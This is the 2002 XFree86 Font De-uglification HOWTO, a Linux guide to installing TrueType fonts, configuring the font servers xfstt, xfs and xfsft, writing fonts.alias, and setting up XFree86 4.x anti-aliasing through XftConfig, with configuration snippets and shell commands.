  • File system layout varies somewhat from distribution to distribution. It is impossible to stay on top of every conceivable variation of who keeps which files where. So take the examples here with a grain of salt if the PATHs don't seem to match your system.

1.2. Change Log and What's New

  • 1.95: February 11, 2002. A few corrections. Removed the section on Fonts in KDE since this has to have changed, and I don't know anything about KDE (does anyone want to help here?). Added a brief section on gdkxft, which adds anti-aliasing support for GTK+ 1.2 applications.

  • 1.9: November 5, 2001. A few new links and some minor catch ups only.

  • 1.8: June 25, 2001: Included a new section on Anti-aliasing and Xft from Danny Tholen <obiwan@mailmij.org>. Many thanks on this not so well documented subject. Also, Sebastiano Vigna's neat little package for downloading and installing MS webfonts: http://freshmeat.net/webFonts4Linux. A few other odds and ends.

  • 1.70: April 18, 2001: Added links for converting Mac TrueType Fonts (thanks to Karl A. Krueger), links to Unicode TrueType fonts (thanks to Tzafrir Cohen for suggestions and URLs), and added a section on anti-aliasing with X 4.0.2 (or greater). Also, included a reference to cabextract, a utility that is now available for extracting Win32 Fonts (among other things) from a Window's "cab" archive.

  • 1.60: March 21, 2001: A few very minor changes. Most notable news is anti-aliasing support now in XFree 4.02 (referenced in the Notes section only). Chinese translation URL added.

1.3. New Versions

The pre-release versions of this document can be found at http://feenix.burgiss.net/ldp/fdu/index.html.

1.4. Copyright

Copyright © 1999 by Doug Holland.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator for more information.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would very much like to be notified of any plans to redistribute the HOWTOs, this one in particular! Web page authors are free to link to this HOWTO without restriction, though the author would appreciate an email informing him of this, just so he can boost his ego by knowing who else reads and links to this document.

Many of the terms mentioned in this document are trade names. Unless otherwise stated, all trademarks are property of their respective owners.

1.5. Credits

Original author: Doug Holland.
Email: meldroc@frii.com
WWW: http://www.frii.com/~meldroc/

Updated and maintained by Hal Burgiss.
Email: hal@foobox.net
WWW: http://feenix.burgiss.net/ldp/fdu/

Special thanks go to:

  • The developers of the XFree86 Project, for all the hard work and time they have given. Also, Juliusz Chroboczek for his work with xfsft, and XFree86 4.x to help bring TrueType to the hungry masses. And Keith Packard for his anti-aliasing, and other work. This is not to slight the many, many other XFree86 volunteers.

  • Font wizard Kristin Aanestad, whose legwork and insight on much of the xfs, TrueType, Netscape, and especially, the fonts.alias sections are much appreciated. More from Kristin at Some Linux for Beginners on a wide range of topics.

  • Danny Tholen <obiwan@mailmij.org> is responsible for the nice Xft section, and examples.

  • The folks at comp.os.linux.x who gave me a hand in figuring all of this out in the first place.

  • The Linux community in general who made all of this possible in the first place. Especially those who have offered suggestions and comments that help to make this HOWTO a better resource. Keep those cards and letters coming ;-)

1.6. Translations

Chinese: http://www.linux.org.tw/CLDP/mini/FDU.html by Yu-Chia Chang.

Prev | Home | Next
XFree86 Font De-uglification HOWTO |  | X Server Configuration


TrueType Fonts

XFree86 Font De-uglification HOWTO
Prev Next

3. TrueType Fonts

Historically, the Unix world relied on Type 1 fonts for high quality scalable fonts. Linux supports Type 1 quite well, both for printing and for screen output. But, Type 1 never was widely adopted by web designers, and on other platforms. TrueType, due to its association with Windows, is the preferred web font.

Because the boys at Redmond are very concerned with the appearance of their software (as opposed to the internal workings ;), they built TrueType font support into Windows. And of course no big surprise, but they got the idea from Apple. In fact, TrueType is a registered trademark of Apple Computer, Inc. Windows 9x, NT, 2K and nearly every other incarnation of Windows comes with Arial, Times New Roman, and Courier New, which are roughly equivalent to Helvetica, Times and Courier. TrueType fonts are scalable, so they look good in large sizes, and they are well hinted, so they are readable at small sizes. Many windows applications come with dozens more TrueType fonts. Don't microwave your Windows CD yet, you'll want to get those fonts first!

Any recent distro will have one or more font servers included. And XFree86 4.x does have built in support for TrueType (see Section 4). You won't find many decent TrueType fonts included with any distribution, however. The reason is that there are not many quality TrueType fonts available under a suitable license at this time. Many distributions are including tools for automating the process of adding TrueType fonts. See if that is an option for you. This will be easiest route.

XFree86 3.x does not come with built in TrueType support, so you'll have to add it yourself if you are using a 3.x version. This will mean installing a font server that does support TrueType. And, of course, installing the fonts themselves (see below).

3.1. Making TrueType Fonts Available

Let's start with the fonts first. Any TrueType font included with the various MS Windows incarnations should work. Don't forget word processors and other apps that may include their own fonts. MacOS fonts will only work if converted to a usable format. (See the links section for converter packages.) There are also some 'free' TrueType fonts available for download if you have already nuked that CD (see links section).

Many distributions are now bundling tools for automating the process of including quality TrueType fonts. SuSE, Debian, and Mandrake do (Red Hat 7.x does not at this time). See what packages you might have for this as this will be the most painless way to go. Essentially, these tools help migrate fonts from a Windows installation, or download those available from Microsoft, and then handle the installation and configuration all in one neat utility. If you do have such a utility, the below information may not be necessary!

In order to use TrueType, the fonts will have to be always accessible to X. This means they will have to be on a filesystem that is always mounted. This can conceivably be a Windows partition on a dual boot system. Alternately, the fonts can be copied to Linux. First su to root:

 # su -
 # mkdir -p /usr/local/share/fonts/ttfonts

Now, change to the new font directory:

  # cd  /usr/local/share/fonts/ttfonts

Then, add the fonts to this directory, either by copying them from your Windows system:

 # cp /mnt/<path_to_fonts>/*ttf  .

or by downloading those available directly from Microsoft: http://www.microsoft.com/typography/fontpack/default.htm. These fonts are in self-extracting zip archives. The ones labeled for use with Windows 3.1 can indeed be unpacked under Linux with the Linux zip utility:

 # ls *exe | xargs -n 1 unzip -L

The '-L' option will convert to lower case font names (this may be necessary for some versions of xfsft and Red Hat's xfs). Note that the current Linux zip utility does not work with the 32 bit Win9x cab font archives. (It also looks like Microsoft no longer has the 16 bit Arial, Courier and Times-Roman on this site.) But these can be unarchived under Linux with cabextract, which can be found http://www.kyz.uklinux.net/cabextract.php3. This would now seem to be the best way to go since there is a better selection of fonts.

A slick solution to this from Sebastiano Vigna is his http://freshmeat.net/webFonts4Linux, which automates the downloading, extracting and installation of the Microsoft fonts all in one neat package.

Or you can get an RPM of WebFonts that contains some of the MS 'Web' TrueTypes from ftp://ftp.rpmfind.net/linux/contrib/noarch/noarch/webfonts-1-3.noarch.rpm. This has enough basic fonts to keep Netscape and other web browsers happy. Something similar for Debian is http://packages.debian.org/unstable/graphics/msttcorefonts.html. This does not include the actual fonts, but facilitates the installation.

If doing it yourself, you will also have to include the new TrueType directory(s) in the X server's fontpath. So with your text editor of choice add the line(s) as appropriate:

FontPath        "/usr/local/share/fonts/ttfonts"
FontPath        "/usr/X11R6/lib/X11/fonts/misc:unscaled"
FontPath        "/usr/X11R6/lib/X11/fonts/100dpi:unscaled"
FontPath        "/usr/X11R6/lib/X11/fonts/75dpi:unscaled"
FontPath        "/usr/X11R6/lib/X11/fonts/Type1"
FontPath        "/usr/X11R6/lib/X11/fonts/Speedo"
FontPath        "/usr/X11R6/lib/X11/fonts/misc"
FontPath        "/usr/X11R6/lib/X11/fonts/100dpi"
FontPath        "/usr/X11R6/lib/X11/fonts/75dpi"

3.2. Font Servers

There are several font servers available that will do the job: xfstt, xfsft, and Red Hat's patched version of xfs based on xfsft. While these names are all too similar, these are different packages. One, or more, of these should be included with any recent Linux distribution, and you may have one installed already. If so, use which ever one your distribution is set up to use.

Historically, font servers were used to serve fonts over a network. Font resources could then reside on one host, and clients could access them as needed. But, the developers have enhanced these to include features such as the ability to render TrueType fonts. (XFree86 4.x has this ability included already, and thus an additional font server is not really needed solely for the purpose of having TrueType support.)

3.2.1. xfstt

One such font server is xfstt. xfstt was designed specifically with TrueType fonts in mind.

3.2.1.1. Installation

xfstt is very easy to install and configure. If it isn't already installed, you'll want to download the tarball, or check your CD. The most current version can be found at http://metalab.unc.edu/pub/Linux/X11/fonts/

Once you have the tarball, unpack it:

 $ tar -zxvf xfstt-*tgz

Then build and install it. Read the INSTALL file for quick instructions, but it's a no brainer.

From the xfstt directory is all you have to do.

 # make
 # make install

Then start xfstt with:

 # xfstt --sync            # updates xfstt's font database
 # xfstt &                 # runs xfstt in the background.

xfstt should be started before the X server starts. Once you have this working correctly, you can add the above lines to /etc/rc.d/rc.local, or other suitable start up file. Then type:

 $ xset +fp unix/:7101     # tells X about xfstt, and where to look for fonts.

or add:

FontPath "unix/:7101"

to your XF86Config to tell X about the font server. Rerun xfstt --sync any time the FontPath, or contents, change.

3.2.1.2. Adjusting the Default Font Size

If your TrueType fonts appear to be very tiny, the following commands may help.

Add the -dpi switch to your X server command line (see section 3 above to do this.)

Use the --res switch to tell xfstt to increase the default resolution. Use the following command line.

 # xfstt --res 120

3.2.2. Red Hat's xfs

As of Red Hat Linux 6.0, Red Hat based distributions (Mandrake, etc) have included a specially patched version of xfs, the XFree86 Font Server, and patched X servers as well. Red Hat's xfs includes the xfsft patch set which in turn is built upon the FreeType Font library. Red Hat's xfs provides similar functionality to xfstt. xfs is able to serve both TrueType and Type 1 fonts, as well as legacy X fonts.

If you are using a Red Hat based distro, you should have xfs installed already. If not, it is in the XFree86-xfs*rpm. To make sure it runs as one of the default services, either use ntsysv or:

# chkconfig --add xfs

Now xfs will start every time you boot.

3.2.2.1. Setting the xfs FontPath

The default Red Hat installation of xfs serves fonts via a Unix Domain Socket. We'll need to tell the X server where to look for xfs, and thus fonts. The FontPath in /etc/X11/XF86Config must include for Red Hat 6.x:

 FontPath   "unix/:-1"

This is changed for Red Hat 7.x to:

 FontPath   "unix/:7100"

At least for a default configurations. This is a reference to the socket where xfs is listening. You may include additional FontPaths, but these will be handled by the X server, and not xfs. A clean install of Red Hat 6/7 should have this already set up, but if you are upgrading from an older version, you may have to change this yourself!

xfs then has its own, separate FontPath stored in /etc/X11/fs/config. This is where it will look to find fonts. This is over and above the X server's FontPath in XF86Config. You can either add the new path(s) with a text editor, or use the chkfontpath command:

# chkfontpath --add /new/font/path

The FontPath must exist before running chkfontpath. The relevant section of /etc/X11/fs/config should now look something like this:

catalogue = /usr/X11R6/lib/X11/fonts/misc:unscaled,
            /usr/X11R6/lib/X11/fonts/100dpi:unscaled,
            /usr/X11R6/lib/X11/fonts/75dpi:unscaled,
            /usr/X11R6/lib/X11/fonts/Type1,
            /usr/X11R6/lib/X11/fonts/Speedo,
            /usr/X11R6/lib/X11/fonts/misc,
            /usr/X11R6/lib/X11/fonts/100dpi,
            /usr/X11R6/lib/X11/fonts/75dpi,
            /new/font/path

When adding a new FontPath for TrueType fonts, you will want to do this step after installing and preparing the fonts. See the next section.

3.2.2.2. Getting the Fonts Ready

We still have a bit of work to do before we can actually use any TrueType fonts. xfs requires a few things to be in order. First, all font files must have lower case names for xfs. Secondly, they shouldn't have embedded spaces. And then, we will need to create a couple of files to make things go.

Su to root, and change to the directory where the TrueType fonts are.

 # su -
 # cd /usr/local/share/fonts/ttfonts

If there are any upper case font names, you can use the following script to convert all names to lower case:

 #!/bin/sh
 #
 ## -------- convert upper to lower case ---------

 ls * | while read f
  do
    if [ -f $f ]; then
      if [ "$f" != "`echo \"$f\" | tr A-Z a-z`" ]; then
       #Note that 'This' will overwrite 'this'!
       mv -iv "$f" "`echo \"$f\" | tr A-Z a-z`"
      fi
    fi
  done

 ## eof

Note the punctuation -- the backquotes are important! Remove any spaces from font names too. Once the TrueType fonts are properly installed, you must create both fonts.dir and fonts.scale files. The following commands do this:

 # ttmkfdir -o fonts.scale
 # mkfontdir

As of Red Hat 7.1, the above commands are run from the xfs init script. So restarting xfs (/etc/rc.d/init.d/xfs restart) will accomplish the same thing.

You should now have fonts.dir and fonts.scale files in your TrueType font directory. ttmkfdir is in the Freetype RPM, and must be run before mkfontdir. With Debian based distros, there is a similar utility called mkttfdir, and is in the fttools Deb package. Though this apparently does not generate as many encodings as ttmkfdir. These commands may not always report errors, so verify that they were created and are not empty files:

 $ ls -l fonts.*
  -rw-r--r--  1 root   root    11657 Aug 17 10:31 fonts.dir
  -rw-r--r--  1 root   root    11657 Aug 17 10:31 fonts.scale

If you encounter any problems, try ttmkfdir with the - m switch. This will discard bad characters from the font file. Specify a number such as 50 or l00 (ttmkfdir -m 50). The files themselves are text files. Have a look:

 $ less  fonts.dir
  114
  webdings.ttf  -microsoft-Webdings-medium-r-normal--0-0-0-0-p-0-microsoft-symbol
  verdanaz.ttf  -microsoft-Verdana-bold-i-normal--0-0-0-0-p-0-ascii-0
  verdanaz.ttf  -microsoft-Verdana-bold-i-normal--0-0-0-0-p-0-fcd8859-15
  verdanaz.ttf  -microsoft-Verdana-bold-i-normal--0-0-0-0-p-0-iso8859-15
  verdanaz.ttf  -microsoft-Verdana-bold-i-normal--0-0-0-0-p-0-iso8859-9
  verdanaz.ttf  -microsoft-Verdana-bold-i-normal--0-0-0-0-p-0-iso8859-1
 [...]

Next, update the FontPath and xfs:

 # chkfontpath --add /usr/local/share/fonts/ttfonts
 # /etc/rc.d/init.d/xfs restart

You should now be in business. You can check which fonts are available to X:

$ xlsfonts | less

or check them out further with xfontsel, or gfontsel. If they are visible to xlsfonts, then they are available to X and vice versa. If they are not there, try restarting X with Ctrl-Alt-BS.

3.2.3. xfsft

xfsft is a TrueType solution from Juliusz Chroboczek. xfsft is based on the FreeType font library as developed by Mark Leisher and others. It is essentially is a patch for XFree86's xfs and related libraries -- xfs + ft. Red Hat's xfs is essentially xfsft with a few minor modifications. Also, XFree86 4.x includes the freetype font module which is also the result of Juliusz's work, and is one of the TrueType solutions available for XFree86 4.x.

Building xfsft requires having at least some of the XFree86 source available, in addition to xfsft itself, so this is not for the faint of heart. Instructions for building and configuring xfsft are in the tarball, so I won't go into details here. They are pretty straight forward. There are links to binaries available at the xfsft home page (see above).

Note that you must also create fonts.scale and fonts.dir files for xfsft. fonts.scale can be created manually (ugh!), or with the ttmkfdir utility. This is not included with xfsft but you can get it here: http://www.joerg-pommnitz.de/TrueType/ttmkfdir.tar.gz, or probably on many Linux archives sites too. Red Hat has this as part of the Freetype RPM. And for Debian it is called mkttfdir and is in the fttools package.

You will also need a configuration file. Here is a sample:

-----------------------------------------------------

clone-self = off
use-syslog = off

client-limit = 20

catalogue = /usr/local/share/font/ttfonts

error-file = /home/jec/fonts/xfs.errors

# in decipoints
default-point-size = 120

# x,y
default-resolutions = 100,100,75,75

-----------------------------------------------------

You can then run start xfsft:

# xfs -port 7100 -config /path/to/your/config/file &

You can then add xfsft to the X server's FontPath:

$ xset +fp tcp/localhost:7100

If all goes well, you could then add this FontPath to XF86Config.

3.3. The fonts.alias File

fonts.alias is yet another font configuration file that can be used to tweak how fonts are handled. Like fonts.scale and fonts.dir, fonts.alias must be in the same directory as the fonts you are aliasing. It is not mandatory however, but does solve certain potential problems. Here is an example from the first line of/usr/X11R6/lib/X11/fonts/misc/fonts.alias on a Red Hat system:

 fixed    -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1

fixed is the 'alias' here. Any time this is requested, we actually get the font definition from the second column. Font too small? Just change the definition. (Warning: this is a critical file, at least on Red Hat.) The same principle applies to all fonts, including TrueType. In fact, if you don't have TrueType, you could conceivably use this trick to have a comparable Type 1, or other, font aliased as a TrueType.

fonts.alias is important for some applications that don't handle the data provided by fonts.scale well. Most notably here is Netscape. Without a fonts.alias you will find that Netscape will only show point sizes of 0 and 12 available. fonts.alias fixes this. You might also find that if you a specify another size with the scalable font option under Preferences, Netscape will not remember this setting. Annoying! This is also fixed. So we really need this file. Sample excerpt from a fonts.scale:

 arial.ttf   -monotype-Arial-medium-r-normal--0-0-0-0-p-0-ascii-0
 arial.ttf   -monotype-Arial-medium-r-normal--0-0-0-0-p-0-fcd8859-15
 arial.ttf   -monotype-Arial-medium-r-normal--0-0-0-0-p-0-iso8859-15
 arial.ttf   -monotype-Arial-medium-r-normal--0-0-0-0-p-0-iso8859-1

These are scalable so we don't get any predefined point sizes. We will need to create our fonts.alias something like this excerpt for Arial:

 -monotype-Arial-medium-r-normal--6-60-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--9-90-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--7-70-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--9-90-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--8-80-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--10-100-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--9-90-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--11-110-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--10-100-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--12-120-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--11-110-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--12-120-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--12-120-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--12-120-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--13-130-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--13-130-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--14-140-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--14-140-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--15-150-0-0-p-0-iso8859-1 \
             -monotype-Arial-medium-r-normal--15-150-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--18-180-0-0-p-0-iso8859-1 \
            -monotype-Arial-medium-r-normal--18-180-75-75-p-0-iso8859-1

 -monotype-Arial-medium-r-normal--24-240-0-0-p-0-iso8859-1 \
            -monotype-Arial-medium-r-normal--24-240-75-75-p-0-iso8859-1

(Please note that I have split each line for readability. There should be two columns all on one line, without the "\", and separated by at least one space.) This will keep Netscape happy. Also, if font names should have embedded spaces, then you should enclose the filename in quotes. You might also note the pointsize discrepancy between the first and second columns of the first few rows. The first column of the first entry has a '6', whereas this is aliased to a '9' in the second column, and thus '9' point. This is by design and is an excellent way to overcome the Netscape 'damn tiny fonts' syndrome. Adjust to suit your tastes, resolution, and eyesight.

This file can be created manually with a text editor, or conceivably with some fancy sed or awk scripting. There is an excellent discussion of this file, and other font related topics at Kristin Aanestad's site at http://home.c2i.net/dark/linux.html. There is also a link to a python script which can reportedly automatically generate a fonts.alias file at this same site. Thanks to Kristin whose work and insight was the inspiration for this section!

Another potential use of fonts.alias would be to map one font to something quite different. Say you don't have TrueType fonts, and didn't want to install Microsoft's. You could alias nice, scalable Type 1 fonts to a TrueType. That way when the system (or some web page) wants a TrueType, you'd get something of comparable quality instead of bitmap that doesn't scale well.

Note that with XFree86 4.0.2 and greater, there are new font handling mechanisms available via the Xft extensions. Font aliasing is done in Xft's own configuration file: XftConfig. This is the preferred method where anti-aliasing, and the other new rendering features are desired. See the Anti-aliasing Section for more on this and de-mystification. This is only true where the application (i.e. the toolkit, e.g QT) itself supports the new extensions! At this time, not all do (yet).

Prev | Home | Next
X Server Configuration |  | XFree86 4.x


XFree86 4.x

XFree86 Font De-uglification HOWTO
Prev Next

4. XFree86 4.x

XFree86 4.0 introduced native support for TrueType fonts, along with other new features. The enhanced font support is based on xfsft from Juliusz Chroboczek, which in turn is based on the FreeType font library originally from Mark Leisher, so the configuration is similar to xfsft and Red Hat's patched xfs. As of 4.0.2, XFree86 begins to support anti-aliasing which is a technique for smoothing font outlines (see section below).

The FontPath is still in XF86Config, as always. For Red Hat 6/7 using a stock XFree86 4.x (i.e. NOT the Red Hat 7.x supplied version), this will mean moving the Red Hat xfs FontPath from /etc/X11/fs/config back to XF86Config. A separate font server is no longer needed just for TrueType support. You may disable it, unless it is needed to serve fonts to other clients in a network environment. See the section below for Red Hat 7.x specific configuration issues.

 Section "Files"
  FontPath "/usr/X11R6/lib/X11/fonts/misc:unscaled"
  FontPath "/usr/X11R6/lib/X11/fonts/100dpi:unscaled"
  FontPath "/usr/X11R6/lib/X11/fonts/75dpi:unscaled"
  FontPath "/usr/X11R6/lib/X11/fonts/misc"
  FontPath "/usr/X11R6/lib/X11/fonts/Type1"
  FontPath "/usr/X11R6/lib/X11/fonts/Speedo"
  FontPath "/usr/share/fonts/default/Type1"
  FontPath "/usr/local/share/fonts/ttfonts"
  FontPath "/usr/X11R6/lib/X11/fonts/100dpi"
  FontPath "/usr/X11R6/lib/X11/fonts/75dpi"
 EndSection

In order to use TrueType, you must also specify which font module the X server should be using in the "Module" section:

 Section "Module"
  Load  "freetype"
  Load  "speedo"
  Load  "type1"
  <load other modules....>
 EndSection

Note that there can be only one 'Module' section, so include any other modules here as well.

You also must to create fonts.scale and fonts.dir file for each TrueType font directory, just like for xfsft and Red Hat's xfs. ttmkfdir will come in handy for fonts.scale. See the xfs Section 3.2.2 above for more details and examples.

xtt is another available TrueType module that is best known for supporting ideographic (Oriental) type fonts. You can use either, but only one at a time.

X server command line options are still the same as previous versions of X:

$ startx -- -dpi 100

4.1. Anti-aliasing

Anti-aliasing is a technique for producing even smoother, crisper looking fonts by subtly softening the sharp, jagged edges. This has long been a feature of Apple and Microsoft font rendering, and is now making it's way into X via the X Rendering Extension specification thanks to Keith Packard. The new extensions provide other benefits as well. Distributions that support anti-aliasing with their stable/official versions are now being released.

That is the good news. The bad news is that not all drivers support anti-aliasing yet. This is a moving target, so you will have to dig around to find whether your chipset is supported or not. The recently released 4.2 should have near universal support. More not-so-good news is that few applications are actually taking advantage of this yet. We will have to wait for the various toolkits (TK, GTK, Xaw, etc) to catch up.

If you are reading this long after the publication date (February 2002), hopefully most of these shortcomings will have been overcome. All hardware will eventually be supported, mainstream distros will have shipped releases that include the new extensions, and they will be enabled by default. Many apps will look better since they will be "AA" aware, and we won't have to jump through any configuration hoops just to make it work. In the meantime, read on ...

4.1.1. Requirements

Minimum requirements for Anti-Aliasing:

  • XFree86 4.0.2 or later.

  • You graphic card's driver has to support anti-aliasing. If 4.0.2 (or greater) is already installed, you can get this information direct from the driver with xdpyinfo. Run this and look for "Number of Extensions:". If this lists "RENDER" among them, then you should be good to go. If not, well, it isn't going to work, and you will have to wait for an updated driver.

  • The Freetype2 library available from http://www.freetype.org, and also now bundled with XFree86. XFree needs to be linked against this, so install and build first if building from scratch. Your distro should have Freetype packages as well. Just make sure it is freetype-2.

  • TrueType fonts are best for display purposes. Type1 is also good. See above sections.

  • For KDE users, KDE supports anti-aliasing as of 2.x. This will require QT-2.3.0 or later, and built with Xft support. A nice font HOWTO from Troll Tech for KDE and QT can be found: http://trolls.troll.no/~lars/fonts/qt-fonts-HOWTO.html.

    GNOME does not support anti-aliasing at this time in stable releases (as of 1.4). Awaiting GTK implementation (probably for GTK 2.0). Apparently this will be available later this year, so stay tuned. GNOME 2.0 will have native support for anti-aliasing.

  • Applications that "know" about anti-aliasing. Not necessarily at the individual application level, but the libraries and toolkits (GTK, TK, etc.) that the application are built against, must be able to use the new features. At this time, there are scant few. KDE/QT is first out of the box. Also, xterm supports the new extensions.

  • The new rendering extensions configuration file, XftConfig, must be configured for the fonts you want to use.

  • The new extensions supplant much of what we have been doing with font servers like xfs. fonts.alias and similar configuration files, for instance, are not used for fonts that are being controlled by the new extensions.

4.1.2. Installation

Keith Packard has a very brief summary of the steps required for building, installing and configuring from source at http://www.xfree86.org/~keithp/render/aafont.txt. No need to reprint it here.

Newer distro releases are likely to have the foundation support for anti-aliasing available now. Red Hat, for instance, has it available as of Red Hat 7.1.

To verify the necessary components, first make sure the "freetype" module (and any others) are loaded. Check the X server output:

(II) LoadModule: "freetype"
(II) Loading /usr/X11R6/lib/modules/fonts/libfreetype.a
(II) Module freetype: vendor="The XFree86 Project"
compiled for 4.0.3, module version = 1.1.9
Module class: XFree86 Font Renderer
ABI class: XFree86 Font Renderer, version 0.2
(II) Loading font FreeType

Then verify if the "RENDER" extension is available, either check with xdpyinfo, or check the X server log, typically /var/log/XFree86.0.log:

(II) Initializing built-in extension MIT-SHM
(II) Initializing built-in extension XInputExtension
(II) Initializing built-in extension XTEST
(II) Initializing built-in extension XKEYBOARD
(II) Initializing built-in extension LBX
(II) Initializing built-in extension XC-APPGROUP
(II) Initializing built-in extension SECURITY
(II) Initializing built-in extension XINERAMA
(II) Initializing built-in extension XFree86-Bigfont
(II) Initializing built-in extension RENDER

If "RENDER" is there, anti-aliasing and the other advanced rendering extensions should be available.

4.1.3. Xft Configuration

By Danny Tholen <obiwan@mailmij.org>

Xft is an interface to the freetype rasterizer written by Keith Packard, member of the XFree86 Project, Inc. It allows applications to use fonts from the new X render extension using a unified font naming scheme. In /etc/X11/XftConfig (or /usr/X11R6/lib/X11/XftConfig) you will find a configuration file which can be adapted to suit your personal taste. In this section I will explain the syntax and demonstrate some things you can do with this file.

The following information is based on 4.0.3. 4.1 is just released, and there may be a few new wrinkles not touched on here.

4.1.3.1. XftConfig Structure

The basic structure revolves around a 'pattern'. A pattern is a set of name/value-list pairs, each value-list contains one or more typed values. A certain application requests a font, for example:

 family: "Arial"
 size: 12
 encoding: "iso8859-1"

A size 12 arial font in latin-1 encoding. The Xft extension will now try to patch this pattern to all of the fonts available in the system. And selecting the one with the best score. Before the matching is done Xft looks in XftConfig. The requested pattern can here be extended before use. An example is:

 match any family == "Arial" edit antialias = true;

This will enable anti-aliasing for all fonts of the family Arial.

Also, the X server is queried to list all of its fonts; the XLFD contains just enough information to match fonts roughly.

Here's a list of attributes used in matching fonts (in priority order, this may not be up to date anymore!):

 foundry        font foundry (string, like "monotype")
 encoding       font encoding (string, like "iso8859-1")
 spacing        font spacing (integers or proportional (0), mono (100),
                charcell (110))
 bold           is the font bold? (boolean)
 italic         is the font italic? (boolean)
 antialias      is the font anti-aliased? (boolean)
 family         font family (string)
 size           font size (double)
 style          font style (string, like "Bold Italic")
 slant          font slant (roman, italic, oblique)
 weight         font weight ( integers or light, medium (100), demi-bold,
                bold, black)
 rasterizer     not yet used (probably "TrueType", "Type1", ...)
 outline        are outlines available? (boolean)

4.1.3.2. XftConfig Syntax

  • dir

    Adds a directory to the list of places Xft will look for fonts. There is no particular order implied by the list; Xft treats all fonts about the same.

  • include and includeif

    Cause Xft to load more configuration parameters from the indicated file. "includeif" doesn't elicit a complaint if the file doesn't exist. If the file name begins with a "~" character, it refers to a path relative to the home directory of the user. This is useful for user-specific configurations.

  • match edit

    If a pattern from an application matches the pattern after "match", it is edited with the instructions in edit. The pattern match is done as follows:

    match qual FIELD-NAME COMPARE CONSTANT

    where qual is either any (matches one specific font) or all (matches all fonts). An example:

     match all foundry==¨monotype¨

    which will match (and edit) all fonts belonging to the foundry "monotype".

     match any family==¨arial¨

    will match (and edit) one specific font with the family name "arial".

    FIELD-NAME is any one of the properties found in the above section Structure, or additionally:

     pixelsize        font size in pixels (integer)
     charspace        character space (integer)
     minspace         minimal spacing (integer)
     rgba             color hinting (string ¨rgb¨ or ¨bgr¨ and
                      vertical hinting ¨vrgb¨ ¨vbgr¨), aka sub-pixel hinting
     xlfd             x server font (string, type xlsfonts to
                      see a list of your xlfd strings)
     file             the font file (string)
     core             use X core fonts? (boolean)
     render           use render fonts? (boolean)
     index            I have no idea what this does:)
     scalable         is the font scalable (boolean)
     scale            scale the font (integer)
     charwidth        character width (integer)
     charheight       character height (integer)
     matrix           no idea (not really at least)

    COMPARE can be <, >, or ==.

    CONSTANT is the value of the field-name in the appropriate type (see above section Structure).

    You can use multiple matches before you use the "edit" statement:

    edit FIELD-NAME ASSIGN EXPR SEMI

    Where ASSIGN can be one of =, += or =+. With =, the matching value in the pattern will be replaced by the given expression. += or =+ will prepend/append a new value to the list of values for the indicated field.

    EXPR sets the FIELD-NAME to a value.

    SEMI is a semicolon (;). You can use multiple instructions, separated by a semicolon. See below for examples if this is confusing.

4.1.3.3. XftConfig Examples

And now I´ll try to list a few useful configurations and explain them. Note that it is configured for my system, and I may use different fonts than you, so try to adapt the examples to your own needs.

  1. How do I make fonts available to Xft?

    List your Type 1 and TrueType font directories with "dir". On my system (Mandrake 7.2) this becomes:

     dir "/usr/X11R6/lib/X11/fonts/Type1"
     dir "/usr/X11R6/lib/X11/fonts/drakfont"

  2. How do I use a user specific XftConfig file?

    Put an .xftconfig file in your user directory and add:

     includeif   "~/.xftconfig"

    to your standard XftConfig. This will enable a user specific configuration file, but it will not complain if there is no such file.

  3. How do I make aliases for my fonts?

    I noted that my KDE console asks for "mono" fonts when it is looking for a fixed font. "console" is used when I select "linux" in the font menu of the KDE konsole. Therefore, I used two aliases for fonts which are also named "fixed":

     match any family == "fixed"     edit family =+ "mono";
     match any family == "console"   edit family =+ "mono";

  4. Anti-aliasing my fonts are blurry and makes me dizzy!

    Although there is a big fuzz around AA in X, good fonts actually look better if they are not anti-aliased. The anti-aliasing blurs the fonts by adding gray pixels to the edges, and this may strain your eyes if you looking at them for a long time. (Your eyes will try to get the fonts sharper, which of course is not working because they are blurred;) However, for very small fonts, anti-aliasing may increase the readability of the fonts, because with sharp edges, there are too little pixels available for your mind to figure out what it means. And for bigger fonts, the edges become very jagged when not anti-aliased, so here you also might want to have aliased fonts. Of course you can also turn off the anti-aliasing for specific fonts. In other operating systems, most truetype fonts are not anti-aliased between 8 and 12 pixels, while only large Type1 fonts are anti-aliased.

    Use the following in your XftConfig to anti-alias only fonts of specific sizes:

     match
           any size > 8
           any size < 15
     edit
           antialias = false;

  5. My fixed fonts do not appear or look _very_ wrong in the KDE konsole or similar programs!

    I noted that somehow a lot of fixed font do not tell Xft that they are fixed, and thus, mono spaced. Therefore only a part of the font is displayed. We can manually set the spacing for these fonts (this assumes you have fixed aliased with mono as in question 3 above):

     match
           any family == "mono"
     edit
           spacing = mono;

